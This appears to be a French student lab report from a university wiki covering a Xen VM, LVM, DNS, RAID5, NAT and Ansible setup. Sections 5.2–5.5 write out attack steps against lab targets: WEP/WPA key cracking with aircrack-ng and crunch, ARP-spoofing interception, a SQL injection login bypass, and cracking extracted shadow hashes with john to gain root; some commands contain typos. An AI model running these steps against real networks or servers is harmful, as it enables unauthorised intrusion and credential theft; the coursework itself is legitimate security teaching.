TP sysres IMA5sc 2020/2021 G11

De Wiki d'activités IMA
Révision datée du 21 décembre 2020 à 23:04 par Ccalleri (discussion | contributions) (4.2 Serveur DNS)

Sébastien DARDENNE - Corto CALLERISA

Adressage

Groupe Domaine Distribution IP (privée) IP (publique) VLAN IPV4 IPV4 6509-E IPV4 C9200 IPV4 Routeur IPV6
Groupe 11 stropharia.site Debian 10 Buster 100.64.0.18 193.48.57.178 311 10.60.111.0/24 10.60.111.1 10.60.111.2 10.60.111.254 2001:660:4401:60bd::0/64

Mise en place de la machine virtuelle Xen

Creation de la VM

Après nous être connecté sur le serveur capbreton.plil.fr, nous créons la machine virtuelle du TP avec la commande :

root@capbreton:~# xen-create-image --hostname=stropharia --password=****** --ip=100.64.0.18 --gateway=100.64.0.5 --netmask=255.255.255.0 --dir=/usr/local/xen --dist=buster

Cette commande spécifie les information de connexion à la VM ainsi que des informations réseau et la dernière version de Debian : Buster

Configuration OSPF sur 9200

router ospf 1                                                                                                                                                  
router-id 10.60.0.2                                  
log-adjacency-changes                                                                                  
summary-address 193.48.57.176 255.255.255.240                                                                                                                    
summary-address 100.60.0.0 255.240.0.0 not-advertise  
summary-address 10.0.0.0 255.0.0.0 not-advertise                                                                                                                  
redistribute connected subnets                        
redistribute static subnets route-map ospf                                                                                                                            
network 192.168.222.8 0.0.0.7 area 2

Configuration LVM

Les disques de capbreton ont été initialisé pour l'utilisation avec LVM :

pvcreate /dev/sde
pvcreate /dev/sdf

Ces disques sont ensuite rassemblés dans le volume groupe storage :

vgcreate storage /dev/sde /dev/sdf

On obtient bien un groupe de 5.46 Tb :

root@capbreton:~# vgdisplay storage
 --- Volume group ---
 VG Name               storage
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  59
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                38
 Open LV               37
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <5.46 TiB
 PE Size               4.00 MiB
 Total PE              1430526
 Alloc PE / Size       69632 / 272.00 GiB
 Free  PE / Size       1360894 / 5.19 TiB
 VG UUID               eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc

On crée alors deux volumes logiques de 10 Go qui nous servirons de /var et /home :

lvcreate -L10G -n stropharia-home storage
lvcreate -L10G -n stropharia-var storage

Voici le résultat :

root@capbreton:~# lvdisplay | grep "stropharia" -A 15
 LV Path                /dev/storage/stropharia-home
 LV Name                stropharia-home
 VG Name                storage
 LV UUID                ofMU3m-QoN1-pZcA-32Dp-HJBN-ZNAn-O3awlc
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 17:40:11 +0200
 LV Status              available
 # open                 1
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:18
  
 --- Logical volume ---
 LV Path                /dev/storage/stropharia-var
 LV Name                stropharia-var
 VG Name                storage
 LV UUID                8YAGLs-wD0c-6pSF-VEmC-wUfT-e9SI-8X9nFn
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 17:40:15 +0200
 LV Status              available
 # open                 1
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:19

Mise en place des partitions

On formate nos partitions au format ext4 :

mkfs.ext4 /dev/storage/stropharia-home
mkfs.ext4 /dev/storage/stropharia-var

On note ces modifications dans /etc/xen/stropharia.cfg

disk       = [
             'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
             'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
             'phy:/dev/storage/trompettedelamort1,xvda3,w',
             'phy:/dev/storage/trompettedelamort2,xvda4,w'
           ]

On lance maintenant la VM et l'on s'y connecte :

xl create -c /etc/xen/stropharia.cfg
xl console stropharia


Après avoir monté et peuplé les partitions, on ajoute dans /etc/fstab

/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

pour que le montage des partitions soit fait automatiquement à chaque démarrage.

4.1 Serveur SSH

Afin de rendre accessible notre VM par SSH, nous décommentons la ligne

PermitRootLogin yes

du fichier sshd-config. On restart ensuite le service pour prendre en comte la modification avec la commande

sytemctl restart sshd

On test la connection :

$ ssh root@ns1.stropharia.site
root@ns1.stropharia.site's password:

La connection ssh fonctionne donc. Update : On peut aussi se connecter en avec

ssh root@www.stropharia.site

4.2 Serveur DNS

Nous allons utiliser l'implementation open-source de DNS bind pour créer une association entre notre nom de domaine et l'ip de notre VM.

On commence par créer le fichier /etc/bind/db.stropharia.site

$include /etc/bind/stropharia.site.dnssec/stropharia.site-ksk.key
$include /etc/bind/stropharia.site.dnssec/stropharia.site-zsk.key
$TTL    604800
@       IN      SOA     ns1.stropharia.site. root.stropharia.site. (
                             13         ; Serial
                           3600         ; Refresh [1h]
                            600         ; Retry [10mn]
                          86400         ; Expire [1d]
                            600 )       ; Negative Cache TTL [1h]
;
@       IN      NS      ns1.stropharia.site.
@       IN      NS      ns6.gandi.net.
@       IN      MX      42 ns1
ns1     IN      A       193.48.57.178
www     IN      A       193.48.57.178
ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fefb:8339
www     IN      AAAA    2001:660:4401:60b2:216:3eff:fefb:8339

Les parties mail et ipv6 font partie de la suite du TP, mais on peut voir les différents TTL pour le SOA (Start of Authority) ainsi que notre notre serveur de nom et l'adresse de l'hote.

Afin d'avoir une trace personnelle, un record dans le fichier de zone à la forme suivante :

Format: host label ttl record class record type record data
Example: example.com 60 IN A 104.255.228.125

5.1

5.2 Cassage de clef WEP d’un point d’accès WiFi

Voir la liste des interfaces

airmon-ng

On passe notre interface en mode monitor

airmon-ng start wlx40a5efd2140c

On lance un scran des réseaux wifi

airmon-ng --encrypt wep wlan0mon

On capture les paquets

airdump-ng --write crack11 --channel 3 --bssid 04:DA:D2:9C:50:5A wlan0mon

On lance le crack de la clé

aircrack-ng -z crack11-01.cap
KEY FOUND! [F1:DE:D4:00:00:00:00:0F:FF:FF:FF:FF:FF ]

5.3

Voir la liste des interfaces

airmon-ng

On passe notre interface en mode monitor

airmon-ng start wlx40a5efd2140c

On regarde les réseaux pour avoir le BSSID

airodump-ng wlan0mon

On lance la commande capture sur le channel 5 et on attend le handshake

airodump-ng --write donnees -c 5 --bssid 00:14:1B:60:8C:2A

Pendant ce temps-là, nous créons le dictionnaire pour le brutforce

crunch 8 8 0123456789 > dictionnaire.txt

Pour gagner du temps, nous divisions ce dictionnaire en 4 parties

split -l 25000000 dictionnaire.txt dictionnairediv.txt

On lance le brutforce sur plusieurs machine

aircrack-ng -a2 -b 00:14:1B:60:8C:2A -w dictionnairediv#.txt donnees-01.cap

Crackwpagrp11.jpg

5.4 Attaque "homme au milieu"

Commande afin de voir les paquets entre la machine et le routeur

arpspoof -i eth0 -t 172.26.145.57 172.26.145.254 

Ensuite, on peut visualiser les paquets reçu avec wireshark.

5.5 Intrusion sur un serveur d’application Web

Sur site honey.plil.info, on exploite la faille avec une injection SQL dans l'id et le mdp:

' OR 1 = 1 --

On constate qu'il y a un service SSH et un serveur apache avec la commande suivante:

nmap -T4 -A honey.plil.info

Avec l'utilisation des manuels on extrait le fichier de configuration phpmyadmin afin d'avoir les identifiants pour se connecter honey.plil.fr/phpmyadmin. Il est important de se connecter en root avec le même mdp.

Dans la BDD, on retrouve un compte d'un utilisateur ayant les droits sur la machine. On se connecte donc en SSH avec son compte et on extrait les fichier password et shadow.

Nous allons donc utiliser john pour trouver le mdp root. De plus, nous créons notre dictionnaire avec crunch et sed en utilisant l'indice du sujet.

Je lance donc la commande suivante:

john --wordlist=dictionnaire password.txt unshadow.txt > output.txt

Mdp trouvé et connexion en root(Groupe11):

Honeygroupe11.png

6.1 Installation Raid5

Création des partitions sur capbreton

lvcreate -LG -n stropharia-part1 virtual
lvcreate -LG -n stropharia-part2 virtual
lvcreate -LG -n stropharia-part3 virtual

Modification du fichier stropharia.cfg

'phy:/dev/virtual/stropharia-part1,xvda5,w'
'phy:/dev/virtual/stropharia-part2,xvda6,w'
'phy:/dev/virtual/stropharia-part3,xvda7,w'

On recrée notre VM

xl destroy stropharia
xl create -c /etc/xen/stropharia.cfg

Création des volumes et formatage

mdadm --create --verbose /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0
mkds -t ext4 /dev/md0

Mount des partitions

mount /dev/md0 /mnt

Nous pouvons donc maintenant perdre un disque en gardant les données de la machine virtuelle.

7.1 Architecture de la ferme

Création d'un bridge dans les paramètres de la machine virtuelle stropharia.

Ajout d'une interface dans les 2 VM en modifiant /etc/network/interfaces.

Ajout de la mascarade

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.42.25 
iptables -A FORWARD -j ACCEPT -d 192.168.42.25 
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.25  --to 193.48.57.178

Création de la clef publique et commande pour la transmettre aux VM.

cat ~/.ssh/id_rsa.pub | ssh username@remote_host "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys"

Rôle motd (adriagalin.motd)

ansible-galaxy install adriagalin.motd

7.2 Installation de docker

Installation du rôle geerlingguy.docker

ansible-galaxy install geerlingguy.docker

Pour adapter le rôle à debian buster, il faut modifier les variables suivantes dans le playbook:

docker_apt_gpg_key: https://download.docker.com/linux/debian/gpg
docker_apt_repository: deb [arch=amd64] https://download.docker.com/linux/debian buster stable

On peut donc lancer l'installation (uniquement sur stropharia)

ansible-playbook dockerplaybook